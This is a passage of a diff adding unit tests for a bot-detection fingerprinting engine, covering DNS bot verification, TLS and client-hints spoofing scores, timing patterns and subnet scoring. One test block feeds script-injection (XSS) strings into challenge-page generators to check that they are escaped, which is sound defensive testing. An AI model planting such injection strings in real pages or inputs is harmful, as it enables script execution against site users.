+        test('should reject a fake Googlebot with non-matching IP', async () => {
+            const fakeGoogleIp = '1.2.3.4';
+            const fakeHostname = 'not-google.com';
+
+            vi.mocked(dns.reverse).mockResolvedValue([fakeHostname]);
+
+            const requestContext = {
+                clientIp: fakeGoogleIp,
+                headers: { 'user-agent': 'Googlebot' }
+            };
+
+            const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} }); // Pass fingerprint
+            expect(isVerified).toBe(false);
+            expect(vi.mocked(dns.reverse)).toHaveBeenCalledWith(fakeGoogleIp);
+            expect(vi.mocked(dns.resolve)).not.toHaveBeenCalled(); // Should fail at reverse lookup
+        });
+
+        test('should reject a bot if forward DNS does not match back to original IP', async () => {
+            const ip = '66.249.66.1';
+            const hostname = 'crawl-66-249-66-1.googlebot.com';
+
+            vi.mocked(dns.reverse).mockResolvedValue([hostname]);
+            vi.mocked(dns.resolve).mockResolvedValue(['66.249.66.2']); // Different IP
+
+            const requestContext = { clientIp: ip, headers: { 'user-agent': 'Googlebot' }, fingerprint: {} };
+            const isVerified = await engine._verifyWhitelistedBot(requestContext);
+            expect(isVerified).toBe(false);
+        });
+
+        test('should use cache for subsequent requests from a verified IP', async () => {
+            const googleIp = '66.249.66.1';
+            const googleHostname = 'crawl-66-249-66-1.googlebot.com';
+            const requestContext = { clientIp: googleIp, headers: { 'user-agent': 'Googlebot' } };
+
+            // First call: perform DNS lookups and cache the result
+            vi.mocked(dns.reverse).mockResolvedValue([googleHostname]);
+            vi.mocked(dns.resolve).mockResolvedValue([googleIp]);
+            await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
+            expect(vi.mocked(dns.reverse)).toHaveBeenCalledTimes(1);
+            expect(vi.mocked(dns.resolve)).toHaveBeenCalledTimes(2);
+
+            // Second call: should use the cache
+            const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
+            expect(isVerified).toBe(true); // Should still be true
+            // DNS functions should not be called again
+            expect(vi.mocked(dns.reverse)).toHaveBeenCalledTimes(1);
+            expect(vi.mocked(dns.resolve)).toHaveBeenCalledTimes(2);
+        });
+
+        test('should handle invalid regex in whitelist rules gracefully', async () => {
+            const consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
+            const requestContext = {
+                clientIp: '1.2.3.4',
+                headers: { 'user-agent': 'MalformedRegexBot(]' }
+            };
+
+            const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
+            expect(isVerified).toBe(false);
+            expect(consoleErrorSpy).toHaveBeenCalledWith(expect.stringContaining('[Fingerprint] Invalid regex in whitelist rule'));
+            consoleErrorSpy.mockRestore();
+        });
+    });
+});
+
+describe('getTlsSpoofingScore', () => {
+    let getTlsFingerprintMock; // Renamed to reflect it's the mock function
+    let getTlsSpoofingScore;
+
+    beforeEach(async () => {
+        // Spy on getTlsFingerprint to control its output for these tests
+        getTlsFingerprintMock = vi.spyOn(fingerprint.__internal, 'getTlsFingerprint');
+        getTlsSpoofingScore = fingerprint.__internal.getTlsSpoofingScore;
+    });
+    
+    afterEach(() => {
+        getTlsFingerprintMock.mockRestore(); // Restore the spy after each test
+    });
+
+    it('should return 0 if no TLS fingerprint is available', () => {
+        getTlsFingerprintMock.mockReturnValue({ ja3: null, ja4: null });
+        const context = { headers: { 'user-agent': 'Mozilla/5.0' } };
+        const { tlsSpoofingScore } = getTlsSpoofingScore(context);
+        expect(tlsSpoofingScore).toBe(0);
+    });
+
+    it('should return a high score if TLS fingerprint is present but User-Agent is generic/missing', () => {
+        getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null }); // A known Chrome JA3
+        const context1 = { headers: { 'user-agent': 'curl/7.64.1' } };
+        const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
+        expect(score1).toBe(50);
+
+        const context2 = { headers: { 'user-agent': '' } };
+        const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
+        expect(score2).toBe(50);
+
+        const context3 = { headers: {} };
+        const { tlsSpoofingScore: score3 } = getTlsSpoofingScore(context3, getTlsFingerprintMock);
+        expect(score3).toBe(50);
+    });
+
+    it('should return a high score for browser/OS mismatch between JA3 and User-Agent', () => {
+        // Use a known JA3 for Chrome, but a User-Agent for Firefox
+        getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null });
+        const context1 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' } };
+        const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
+        expect(score1).toBe(80);
+
+        // Use a known JA3 for Firefox, but a User-Agent for Chrome
+        getTlsFingerprintMock.mockReturnValue({ ja3: 'b386946a5a586163c7c533636b45c355', ja4: null });
+        const context2 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' } };
+        const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
+        expect(score2).toBe(80);
+    });
+
+    it('should return 0 for consistent JA3 and User-Agent', () => {
+        // Consistent Chrome
+        getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null });
+        const context1 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' } };
+        const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
+        expect(score1).toBe(0);
+
+        // Consistent Firefox
+        getTlsFingerprintMock.mockReturnValue({ ja3: 'b386946a5a586163c7c533636b45c355', ja4: null });
+        const context2 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' } };
+        const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
+        expect(score2).toBe(0);
+    });
+});
+
+// Define patternConfig at a higher scope to be accessible by multiple describe blocks
+const patternConfig = {
+    minSamples: 5, // Lower for easier testing
+    regularityThreshold: 50,
+    benfordThreshold: 0.15,
+    patternWeight: 80,
+    decayFactor: 0.9,
+    inactivityReset: 5000,
+};
+
+describe('getRequestPatternScore', () => {
+    let dateNowSpy;
+
+    afterEach(() => {
+        if (dateNowSpy) {
+            dateNowSpy.mockRestore();
+        }
+    });
+
+    test('should return zero score for the first request', () => {
+        const deviceData = { requestHistory: [] };
+        const context = { path: '/home', query: {} };
+        const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
+        expect(requestPatternScore).toBe(0);
+    });
+
+    test('should NOT assign a pattern score if not enough samples are collected', () => {
+        const deviceData = {
+            requestHistory: [],
+            timingHistory: [100, 200, 150] // Only 3 samples, less than minSamples (5)
+        };
+        const context = { path: '/page', query: {} };
+        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
+
+        const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
+        expect(requestPatternScore).toBe(0);
+    });
+
+    test('should assign a high pattern score for highly regular (robotic) requests', () => {
+        const deviceData = {
+            requestHistory: [],
+            timingHistory: [100, 100, 100, 100, 100, 100] // stdDev = 0, which is < regularityThreshold
+        };
+        const context = { path: '/page', query: {} };
+        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
+
+        const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
+        expect(requestPatternScore).toBe(patternConfig.patternWeight); // 80
+    });
+
+    test('should assign a high pattern score for non-natural (Benford-violating) timings', () => {
+        // This distribution of leading digits (all 9s) violates Benford's law.
+        const deviceData = {
+            requestHistory: [],
+            timingHistory: [901, 923, 911, 954, 987, 932, 945, 965, 978, 999]
+        };
+        const context = { path: '/page', query: {} };
+        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
+
+        const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
+        expect(requestPatternScore).toBe(patternConfig.patternWeight); // 80
+    });
+
+    test('should apply decay factor to the score over time', () => {
+        const deviceData = {
+            requestHistory: [{ timestamp: 10000, path: '/home', queryString: '' }],
+            lastPatternScore: 50, // Previous score
+            timingHistory: []
+        };
+        const context = { path: '/contact', query: {} };
+
+        // Simulate a slow, non-pattern-matching request
+        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(12000);
+
+        const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
+
+        // Expected: (previous score * decay) + 0 (since no new pattern was detected)
+        const expectedScore = 50 * patternConfig.decayFactor; // 50 * 0.9 = 45
+        expect(requestPatternScore).toBe(expectedScore);
+    });
+
+    it('should decay a low score towards zero after inactivity', async () => {
+        const context = { path: '/test', query: {} };
+        const deviceData = { requestHistory: [], timingHistory: [], lastPatternScore: 15 };
+        const lowScore = 15;
+
+        // 2. Attendre
+        await new Promise(r => setTimeout(r, 1600));
+
+        // 3. Le score doit avoir décru (mais pas forcément être exactement 0)
+        const { requestPatternScore: decayedScore } = getRequestPatternScore(context, deviceData, patternConfig);
+        expect(decayedScore).toBeLessThanOrEqual(lowScore);
+        expect(decayedScore).toBeGreaterThanOrEqual(0);
+    });
+}); // <-- AJOUT DE L'ACCOLADE FERMANTE MANQUANTE
+
+describe('determineOptimalTicketTtl', () => {
+    const { determineOptimalTicketTtl } = __internal;
+
+    // Les bornes définies dans la fonction (5min et 24h)
+    const MIN_TTL = 300000;
+    const MAX_TTL = 86400000;
+
+    test('should return a long TTL for a very low suspicion score', () => {
+        const score = 5; // Very low suspicion
+        const ttl = determineOptimalTicketTtl(score);
+
+        // With a low score, the TTL should be close to the maximum.
+        // We expect a TTL of many hours.
+        expect(ttl).toBeGreaterThan(MAX_TTL * 0.75); // Greater than 75% of the max TTL (18 hours)
+        expect(ttl).toBeLessThanOrEqual(MAX_TTL);
+    });
+
+    // Ce test est conçu pour être résilient aux variations de l'algorithme génétique.
+    // Il réessaie jusqu'à 3 fois pour s'assurer que l'échec n'est pas dû à une mauvaise convergence ponctuelle.
+    test('should return a short TTL for a very high suspicion score', async () => {
+        const score = 95; // Very high suspicion
+        const maxAttempts = 5;
+        let lastError = null;
+
+        for (let attempt = 1; attempt <= maxAttempts; attempt++) {
+            try {
+                const ttl = determineOptimalTicketTtl(score);
+                // With a high score, the TTL should be very short, close to the minimum.
+                expect(ttl).toBeLessThan(MIN_TTL * 6); // Less than 6x the minimum TTL (30 minutes)
+                expect(ttl).toBeGreaterThanOrEqual(MIN_TTL);
+                lastError = null; // Success
+                break; // Exit loop on success
+            } catch (e) {
+                lastError = e;
+            }
+        }
+        if (lastError) throw lastError; // If all attempts failed, throw the last error
+    });
+
+    test('should return a TTL within the valid range for a medium score', () => {
+        const score = 50; // Moyennement suspect
+        const ttl = determineOptimalTicketTtl(score);
+
+        expect(ttl).toBeGreaterThanOrEqual(MIN_TTL);
+        expect(ttl).toBeLessThanOrEqual(MAX_TTL);
+    });
+
+    // Ce test est plus difficile à déclencher, mais il valide la robustesse de la fonction.
+    // On peut le simuler en forçant l'algorithme génétique à retourner un tableau vide.
+});
+
+describe('getTimeInconsistencyScore', () => {
+    const REPLAY_THRESHOLD_MS = 5000; // Doit correspondre à la valeur dans fingerprint.js
+
+    it('should return 0 for a normal, fresh request (clientTimestamp slightly before requestTimestamp)', () => {
+        const requestTimestamp = Date.now();
+        const clientTimestamp = requestTimestamp - 100; // 100ms before server reception
+        const context = { requestTimestamp };
+        const metrics = { clientTimestamp };
+
+        const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
+        expect(timeInconsistencyScore).toBe(0);
+    });
+
+    it('should return a score > 0 for a replayed request (clientTimestamp significantly before requestTimestamp)', () => {
+        const requestTimestamp = Date.now();
+        const clientTimestamp = requestTimestamp - (REPLAY_THRESHOLD_MS + 1000); // 1 second beyond threshold
+        const context = { requestTimestamp };
+        const metrics = { clientTimestamp };
+
+        const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
+        // Expected score: ( (REPLAY_THRESHOLD_MS + 1000) / REPLAY_THRESHOLD_MS - 1) * 50
+        // (6000 / 5000 - 1) * 50 = (1.2 - 1) * 50 = 0.2 * 50 = 10
+        expect(timeInconsistencyScore).toBeGreaterThan(0);
+        // Utiliser toBeCloseTo pour éviter les problèmes de précision des nombres à virgule flottante.
+        expect(timeInconsistencyScore).toBeCloseTo(10);
+    });
+
+    it('should cap the score at 100 for very large time differences', () => {
+        const requestTimestamp = Date.now();
+        const clientTimestamp = requestTimestamp - (REPLAY_THRESHOLD_MS * 5); // 5 times the threshold
+        const context = { requestTimestamp };
+        const metrics = { clientTimestamp };
+
+        const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
+        expect(timeInconsistencyScore).toBe(100);
+    });
+
+    it('should return 0 if clientTimestamp is after requestTimestamp (client clock ahead)', () => {
+        const requestTimestamp = Date.now();
+        const clientTimestamp = requestTimestamp + 5000; // Client clock is 5 seconds ahead
+        const context = { requestTimestamp };
+        const metrics = { clientTimestamp };
+
+        const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
+        expect(timeInconsistencyScore).toBe(0);
+    });
+
+    it('should return 0 if clientTimestamp or requestTimestamp is missing', () => {
+        const context1 = { requestTimestamp: Date.now() };
+        const metrics1 = {}; // Missing clientTimestamp
+        expect(__internal.getTimeInconsistencyScore(context1, metrics1).timeInconsistencyScore).toBe(0);
+
+        const context2 = {}; // Missing requestTimestamp
+        const metrics2 = { clientTimestamp: Date.now() };
+        expect(__internal.getTimeInconsistencyScore(context2, metrics2).timeInconsistencyScore).toBe(0);
+    });
+});
+describe('Challenge Page Generation Security (XSS)', () => {
+    // Les fonctions sont déjà exportées via __internal
+    const { generateCpuTargetChallengePage, generateCombinedPoWChallengePage } = __internal;
+
+    // Mock readFileSync pour éviter les erreurs de système de fichiers lorsque getPowSolverCode est appelé
+    beforeEach(() => {
+        // Assurez-vous que le mock est actif pour ces tests
+        readFileSync.mockReturnValue('// MOCK SOLVER CODE');
+    });
+
+    afterEach(() => {
+        readFileSync.mockClear();
+    });
+
+    it('should escape the path parameter in generateCpuTargetChallengePage to prevent XSS', () => {
+        const maliciousPath = `"/;alert('XSS');//`;
+        const challengeDetails = {
+            nonce: 'test-nonce',
+            target: '0000',
+            path: maliciousPath,
+        };
+
+        const html = generateCpuTargetChallengePage(challengeDetails, '127.0.0.1');
+
+        // 1. Le script malveillant brut ne doit PAS être présent.
+        expect(html).not.toContain(`window.location.href = "/;alert('XSS');//?pow_type=cpu_target`);
+
+        // 2. Le chemin doit être correctement échappé via JSON.stringify, neutralisant l'attaque.
+        const expectedEscapedString = `window.location.href = ${JSON.stringify(maliciousPath)} + "?pow_type=cpu_target`;
+        expect(html).toContain(expectedEscapedString);
+    });
+
+    it('should escape the path parameter in generateCombinedPoWChallengePage to prevent XSS', () => {
+        const maliciousPath = `test.com";\nconsole.log("pwned");//`;
+        const challengeDetails = { nonce: 'test-nonce', target: '0000', path: maliciousPath };
+
+        const html = generateCombinedPoWChallengePage(challengeDetails, 16, '127.0.0.1', 'secret', {}, '');
+
+        expect(html).not.toContain(`const path = "test.com";`);
+        expect(html).toContain(`const path = ${JSON.stringify(maliciousPath)};`);
+    });
+});
+
+
+describe('Regularity Detection (Standard Deviation)', () => {
+    const regularityConfig = {
+        ...patternConfig,
+        patternWeight: 60,
+        minSamples: 5, // Ensure minSamples is explicitly defined for this test suite
+    };
+
+    let dateNowSpy;
+    it('should apply a high penalty for perfectly regular requests', () => {
+        const deviceData = { requestHistory: [], timingHistory: [1000, 1000, 1000, 1000, 1000] }; // Écart-type = 0
+        const context = { path: '/page', query: {} };
+        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000); // La 6ème requête arrive aussi après 1000ms
+
+        const { requestPatternScore } = getRequestPatternScore(context, deviceData, regularityConfig);
+
+        // stdDev is 0, which is < regularityThreshold, so the full patternWeight is applied.
+        expect(requestPatternScore).toBe(regularityConfig.patternWeight);
+    });
+
+    it('should apply a low penalty for slightly irregular requests', () => {
+        const deviceData = { requestHistory: [], timingHistory: [1000, 1010, 990, 1005, 995] }; // Écart-type faible mais non nul
+        const context = { path: '/page', query: {} };
+        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000);
+        const localConfig = { ...regularityConfig, regularityThreshold: 10 }; // stdDev of this data is ~5.
+
+        const { requestPatternScore } = getRequestPatternScore(context, deviceData, localConfig);
+
+        expect(requestPatternScore).toBe(localConfig.patternWeight);
+    });
+
+    it('should apply no penalty for highly irregular (human-like) requests', () => {
+        const deviceData = { requestHistory: [], timingHistory: [500, 2000, 800, 3500, 1200] }; // Écart-type élevé
+        const context = { path: '/page', query: {} };
+        dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000);
+        // The stdDev of this data is high, so it won't trigger the regularity check.
+
+        const { requestPatternScore } = getRequestPatternScore(context, deviceData, regularityConfig);
+
+        expect(requestPatternScore).toBe(0);
+    });
+});
+describe('Dry Run Mode', () => {
+    const inMemoryStore = {
+        _map: new Map(),
+        async get(key) { return this._map.get(key); },
+        async set(key, value) { this._map.set(key, value); },
+    };
+
+    beforeEach(() => {
+        inMemoryStore._map.clear();
+        configureStore(inMemoryStore);
+        vi.spyOn(console, 'log').mockImplementation(() => {});
+    });
+
+    afterEach(() => {
+        vi.restoreAllMocks();
+    });
+
+    it('should log the intended action but return "next" when a request would be blocked', async () => {
+        const securityConfig = {
+            dryRun: true,
+            verbose: true, // Enable logging for the test
+            weights: { honeypotScore: 1.0 },
+            thresholds: { low: 20, block: 95 },
+        };
+        const engine = new FingerprintEngine(securityConfig);
+
+        // Mock a highly suspicious vector that would normally trigger a block
+        vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
+            honeypotScore: 100
+        });
+
+        const requestContext = {
+            clientIp: '1.2.3.4', path: '/', cookies: {}, query: {}, headers: { 'user-agent': 'test-bot' },
+        };
+
+        const decision = await engine.processRequest(requestContext);
+
+        // Assert that the final action is 'next'
+        expect(decision.action).toBe('next');
+        // Assert that the intended action was to 'block'
+        expect(decision.intendedAction).toBe('block');
+        // Assert that the log message indicates a dry run
+        expect(console.log).toHaveBeenCalledWith(
+            expect.stringContaining('[FingerprintEngine] [Dry Run] Intended action: block'),
+            expect.any(Object) // The second argument is the data object
+        );
+    });
+});
+
+describe('getClientHintsInconsistencyScore', () => {
+    const { getClientHintsInconsistencyScore } = __internal;
+
+    it('should return 0 for consistent User-Agent and Client-Hints', () => {
+        const context = {
+            headers: {
+                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
+                'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
+            }
+        };
+        const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
+        expect(clientHintsInconsistencyScore).toBe(0);
+    });
+
+    it('should return 80 for a large version mismatch', () => {
+        const context = {
+            headers: {
+                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
+                'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
+            }
+        };
+        const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
+        expect(clientHintsInconsistencyScore).toBe(80);
+    });
+
+    it('should return 40 for a small version mismatch', () => {
+        const context = {
+            headers: {
+                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
+                'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
+            }
+        };
+        const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
+        expect(clientHintsInconsistencyScore).toBe(40);
+    });
+
+    it('should return 90 for a browser family mismatch', () => {
+        const context = {
+            headers: {
+                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
+                'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
+            }
+        };
+        const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
+        expect(clientHintsInconsistencyScore).toBe(90);
+    });
+
+    it('should return 0 if headers are missing or unparsable', () => {
+        const context1 = { headers: { 'user-agent': 'Just Chrome/120' } }; // Missing sec-ch-ua
+        const context2 = { headers: { 'sec-ch-ua': '"Google Chrome";v="120"' } }; // Missing user-agent
+        const context3 = { headers: { 'user-agent': 'UnknownBrowser/1.0', 'sec-ch-ua': '"UnknownBrand";v="1.0"' } }; // Unparsable
+
+        expect(getClientHintsInconsistencyScore(context1).clientHintsInconsistencyScore).toBe(0);
+        expect(getClientHintsInconsistencyScore(context2).clientHintsInconsistencyScore).toBe(0);
+        expect(getClientHintsInconsistencyScore(context3).clientHintsInconsistencyScore).toBe(0);
+    });
+});
+
+describe('Subnet Scoring (Node.js)', () => {
+    const inMemoryStore = {
+        _map: new Map(),
+        async get(key) { return this._map.get(key); },
+        async set(key, value) { this._map.set(key, value); },
+        clear() { this._map.clear(); }
+    };
+
+    beforeEach(async () => {
+        inMemoryStore.clear();
+        // La configuration du store est maintenant asynchrone
+        await configureStore(inMemoryStore); // Configure the shared store for each test
+    });
+
+    it('getIpSubnet should correctly calculate subnets', () => {
+        const { getIpSubnet } = __internal;
+        // IPv4
+        expect(getIpSubnet('192.168.1.123', 24)).toBe('192.168.1.0/24');
+        // The new version handles other prefixes
+        expect(getIpSubnet('10.20.30.40', 16)).toBe('10.20.0.0/16');
+        // IPv6
+        expect(getIpSubnet('2001:db8:abcd:0012:0000:0000:0000:0001', 48)).toBe('2001:db8:abcd:0:0:0:0:0/48');
+        // The new version handles other prefixes
+        expect(getIpSubnet('2a01:e0a:129:57c0:a1b2:c3d4:e5f6:a7b8', 64)).toBe('2a01:e0a:129:0:0:0:0:0/48');
+        // Invalid IPs
+        expect(getIpSubnet('not-an-ip')).toBeNull();
+    });
+
+    it('updateSubnetMetrics should create and update subnet data in the store', async () => {
+        const context = { clientIp: '10.0.0.25' };
+        await __internal.updateSubnetMetrics(context, 'device-1', 50);
+
+        const subnetData = await inMemoryStore.get('subnet:10.0.0.0/24');
+        expect(subnetData).toBeDefined();
+        expect(subnetData.highScoreCount).toBe(1);
+        expect(subnetData.deviceIds).toEqual(['device-1']);
+
+        // Second update
+        await __internal.updateSubnetMetrics(context, 'device-2', 60);
+        const updatedSubnetData = await inMemoryStore.get('subnet:10.0.0.0/24');
+        expect(updatedSubnetData.highScoreCount).toBe(2);
+        expect(updatedSubnetData.deviceIds).toEqual(['device-1', 'device-2']);
+    });
+
+    it('getSubnetScore should calculate score based on stored metrics', async () => {
+        const context = { clientIp: '10.0.0.25' };
+
+        // 1. No data, score should be 0
+        let { subnetScore } = await __internal.getSubnetScore(context, 'device-1');
+        expect(subnetScore).toBe(0);
+
+        // 2. Some high scores, few devices. The subnet is calculated from the context.
+        // The key is hardcoded here to match what the implementation would store.
+        await inMemoryStore.set('subnet:10.0.0.0/24', {
+            highScoreCount: 5, // score += 5 * 2 = 10
+            deviceIds: ['d1', 'd2'], // count < 10, score += 0
+        });
+        ({ subnetScore } = await __internal.getSubnetScore(context, 'device-1'));
+        expect(subnetScore).toBe(10);
+
+        // 3. Many devices and high scores
+        const deviceIds = Array.from({ length: 20 }, (_, i) => `d${i}`);
+        await inMemoryStore.set('subnet:10.0.0.0/24', {
+            highScoreCount: 30, // score += min(40, 30 * 2) = 40
+            deviceIds: deviceIds, // count = 20. score += (20-10)*5 = 50
+        });
+        ({ subnetScore } = await __internal.getSubnetScore(context, 'device-1'));
+        expect(subnetScore).toBe(90); // 40 + 50
+    });
+});
+
+describe('Firefox TE Header Anomaly', () => {
+    const securityConfig = {
+        weights: { headerAnomalyScore: 1.0 },
+        thresholds: { low: 20, medium: 45, high: 75 }
+    };
+
+    it('should penalize Firefox desktop UA without TE: trailers', async () => {
+        const context = {
+            clientIp: '1.1.1.1',
+            path: '/',
+            headers: {
+                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
+                'accept-language': 'en-US,en;q=0.9',
+            },
+            cookies: { device_id: 'some-device' },
+        };
+        const vector = await __internal.getSuspicionVector(context, securityConfig);
+        expect(vector.headerAnomalyScore).toBe(30);
+    });
+
+    it('should not penalize Firefox desktop UA with TE: trailers', async () => {
+        const context = {
+            clientIp: '1.1.1.1',
+            path: '/',
+            headers: {
+                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
+                'accept-language': 'en-US,en;q=0.9',
+                'te': 'trailers',
+            },
+            cookies: { device_id: 'some-device' },
+        };
+        const vector = await __internal.getSuspicionVector(context, securityConfig);
+        expect(vector.headerAnomalyScore).toBe(0);
+    });
+
+    it('should penalize non-Firefox desktop UA with TE: trailers', async () => {
+        const context = {
+            clientIp: '1.1.1.1',
+            path: '/',
+            headers: {
+                'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
+                'accept-language': 'en-US,en;q=0.9',
+                'te': 'trailers',
+            },
+            cookies: { device_id: 'some-device' },
+        };
+        const vector = await __internal.getSuspicionVector(context, securityConfig);
+        expect(vector.headerAnomalyScore).toBe(30);
+    });
+});
+
+describe('FingerprintEngine.processRequest - updateSubnetMetrics call logic', () => {
+    const inMemoryStore = {
+        _map: new Map(),
+        async get(key) { return this._map.get(key); },
+        async set(key, value) { this._map.set(key, value); },
+        async has(key) { return this._map.has(key); },
+        async delete(key) { this._map.delete(key); },
+    };
+
+    let securityConfig;
+    let engine;
+    let updateSubnetMetricsSpy;
+    let getSuspicionVectorSpy;
+    let calculateFinalScoreSpy;
+
+    beforeEach(() => {
+        inMemoryStore._map.clear();
+        configureStore(inMemoryStore);
+
+        securityConfig = {
+            weights: { historyScore: 1.0 },
+            thresholds: { low: 20, medium: 45, high: 75, block: 95 }, // Default blockThreshold
+        };
+        engine = new FingerprintEngine(securityConfig);
+
+        // Spy on the internal updateSubnetMetrics function
+        updateSubnetMetricsSpy = vi.spyOn(__internal, 'updateSubnetMetrics').mockResolvedValue(undefined);
+        // Spy on getSuspicionVector to control the input to calculateFinalScore
+        getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({});
+        // Spy on calculateFinalScore to directly control the finalScore
+        calculateFinalScoreSpy = vi.spyOn(engine, 'calculateFinalScore');
+    });
+
+    afterEach(() => {
+        updateSubnetMetricsSpy.mockRestore();
+        getSuspicionVectorSpy.mockRestore();
+        calculateFinalScoreSpy.mockRestore();
+    });
+
+    it('should call updateSubnetMetrics if finalScore is between lowThreshold and blockThreshold', async () => {
+        calculateFinalScoreSpy.mockReturnValue(50); // Score between 20 and 95
+        const requestContext = { clientIp: '192.168.1.1', cookies: {}, query: {}, headers: {} };
+
+        await engine.processRequest(requestContext);
+
+        expect(updateSubnetMetricsSpy).toHaveBeenCalledTimes(1);
+        expect(updateSubnetMetricsSpy).toHaveBeenCalledWith(requestContext, expect.any(String), 50);
+    });
+
+    it('should NOT call updateSubnetMetrics if finalScore is equal to or above blockThreshold', async () => {
+        calculateFinalScoreSpy.mockReturnValue(95); // Score equals blockThreshold
+        const requestContext = { clientIp: '192.168.1.1', cookies: {}, query: {}, headers: {} };
+
+        await engine.processRequest(requestContext);
+
+        expect(updateSubnetMetricsSpy).not.toHaveBeenCalled();
+
+        calculateFinalScoreSpy.mockReturnValue(100); // Score above blockThreshold
+        await engine.processRequest(requestContext);
+
+        expect(updateSubnetMetricsSpy).not.toHaveBeenCalled();
+    });
+});
+
+describe('Additional Suspicion Vectors Coverage', () => {
+    const inMemoryStore = {
+        _map: new Map(),
+        async get(key) { return this._map.get(key); },
+        async set(key, value) { this._map.set(key, value); },
+        async has(key) { return this._map.has(key); },
+        async delete(key) { this._map.delete(key); },
+    };
+
+    beforeEach(() => {
+        inMemoryStore._map.clear();
+        configureStore(inMemoryStore);
+    });
+
+    it('should calculate a high rotationScore for rapid fingerprint changes', async () => {
+        const context = {
+            clientIp: '127.0.0.1',
+            cookies: { device_id: 'rotating-device' },
+            headers: { 'user-agent': 'test-ua' }
+        };
+
+        await inMemoryStore.set('device:rotating-device', {
+            initialDeviceHash: 'hash-A',
+            ips: new Set(['127.0.0.1']),
+            lastUpdate: Date.now(),
+            lastFpHash: 'hash-A',
+            lastChangeTimestamp: Date.now(),
+            rapidChangeCount: 3,
+        });
+
+        const vector = await __internal.getSuspicionVector(context, {
+            weights: { rotationScore: 1.0 },
+            thresholds: { low: 20 }
+        });
+
+        expect(vector.rotationScore).toBe(100);
+    });
+
+    it('should calculate a high botScore when bot or cdp markers are present in device fingerprint', async () => {
+        const contextBot = {
+            clientIp: '127.0.0.1',
+            headers: { 'x-device-fingerprint': 'ua:123|bot:true' }
+        };
+        const contextCdp = {
+            clientIp: '127.0.0.1',
+            headers: { 'x-device-fingerprint': 'ua:123|cdp:true' }
+        };
+
+        const vectorBot = await __internal.getSuspicionVector(contextBot, { weights: { botScore: 1.0 } });
+        const vectorCdp = await __internal.getSuspicionVector(contextCdp, { weights: { botScore: 1.0 } });
+
